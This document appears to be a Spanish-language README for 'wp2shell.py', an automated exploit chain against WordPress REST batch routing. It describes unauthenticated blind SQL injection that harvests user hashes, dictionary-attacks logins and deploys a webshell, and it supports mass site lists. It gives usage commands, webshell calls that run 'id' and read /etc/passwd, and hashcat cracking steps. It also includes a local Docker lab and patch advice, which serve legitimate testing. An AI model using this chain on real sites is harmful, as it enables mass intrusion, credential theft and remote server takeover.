
Cadena de exploits automatizada para CVE-2026-63030 / CVE-2026-60137 — SQLi ciega no autenticada mediante confusión de ruta de lotes de REST de WordPress. Extrae hashes de usuarios, descifra credenciales, despliega webshell. Admite objetivos únicos y listas de sitios masivos. Solo para pruebas de seguridad autorizadas.
Inyección SQL ciega por confusión de ruta batch en REST de WordPress — cadena de explotación automatizada.
CVE-2026-63030 / CVE-2026-60137
| Afectado | WordPress 6.9.0 – 6.9.4 y 7.0.0 – 7.0.1 |
| Corregido | WordPress 6.9.5 / 7.0.2 |
| Sumidero | SQL author__not_in vía parámetro author_exclude desincronizado |
| Autenticación requerida | Ninguna (SQLi sin autenticar) |
Solo para pruebas de seguridad autorizadas.
El endpoint batch de la API REST de WordPress (/wp-json/batch/v1) permite peticiones batch anidadas. Un payload de desincronización doblemente anidado desplaza los arrays internos $matches / $validation, enrutando un valor author_exclude manipulado hacia el SQL author__not_in sin saneamiento. Esto proporciona inyección SQL ciega booleana y por tiempo sin autenticación.
Cadena de explotación — 4 fases:
Fase 1 Verificación de vulnerabilidad sonda de marcador batch + SQL temporal opcional
Fase 2 Cosecha de hashes SQLi ciega extrae wp_users (login + hash)
Fase 3 Autenticación ataque de diccionario vía wp-login.php
Fase 4 Despliegue de webshell subida de plugin ZIP -> verificación de RCE
aiohttpcoloramapip install aiohttp colorama
Objetivo único
python wp2shell.py http://target.com
Lista de sitios (una URL por línea)
python wp2shell.py sites.txt
Lista de sitios + archivo de contraseñas personalizado
python wp2shell.py sites.txt -p pass.txt
Credenciales conocidas (omitir diccionario)
python wp2shell.py http://target.com --user admin --password admin123
Confirmar SQLi con temporización
python wp2shell.py http://target.com --confirm-sqli
Sin enlaces permanentes bonitos
python wp2shell.py http://target.com --rest-route
A través del proxy de Burp
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| Archivo | Contenido |
|---|---|
creds.txt | http://target=>user:pass (texto plano si se descifró, hash si no) |
webshell.txt | URL de webshell activa |
VULNERABLE.txt | Todos los objetivos donde la fase 1 confirmó la vulnerabilidad |
Todos los archivos agregan contenido: los resultados se acumulan entre ejecuciones.
Uso de la webshell — añade ?cmd=COMANDO a la URL en webshell.txt:
# navegador
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
Si el diccionario no acierta, creds.txt contiene el hash extraído:
hashcat -m 400 creds.txt wordlist.txt
Luego vuelve a ejecutar con la contraseña descifrada:
python wp2shell.py http://target.com --user admin --password <texto_plano>
Levanta una instancia vulnerable de WordPress 7.0.1 para pruebas locales seguras.
Primera ejecución — construir volúmenes e instalar WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcli
Inicios posteriores:
docker compose up -d db wordpress
Detener:
docker compose down
Reinicio completo (borra todos los datos):
docker compose down -v
Ejecutar el exploit contra el laboratorio:
python wp2shell.py http://localhost:8080
Actualiza a WordPress 6.9.5 o 7.0.2. La corrección valida la ruta batch antes de despachar peticiones anidadas, evitando la desincronización que expone el sumidero SQL.
Para uso en sistemas que poseas o para los que tengas autorización explícita por escrito para realizar pruebas. El uso no autorizado es ilegal.
| Flag | Por defecto | Descripción |
|---|
target | — | URL (http://target) o ruta a un archivo de lista de sitios |
-p FILE | — | Archivo de lista de contraseñas (una por línea) |
--user | — | Omitir diccionario, usar este nombre de usuario |
--password | — | Omitir diccionario, usar esta contraseña |
--confirm-sqli | desactivado | Enviar sonda SQL activa de temporización después de la verificación del marcador |
--rest-route | desactivado | Usar /?rest_route=/batch/v1 (sin enlaces permanentes bonitos) |
--sleep N | 3.0 | Retardo SLEEP() de SQL en segundos |
--samples N | 3 | Pares de muestras de temporización para el cálculo de la mediana |
--timeout N | 30.0 | Tiempo de espera de la solicitud HTTP |
--prefix PREFIX | wp_ | Prefijo de tabla de base de datos |
--proxy URL | — | Proxy HTTP/HTTPS |
| URL | http://localhost:8080 |
| Administrador | admin / admin123 |
| Host MySQL | db |
| Usuario/contraseña MySQL | wpuser / wppass |
| Base de datos | wordpress |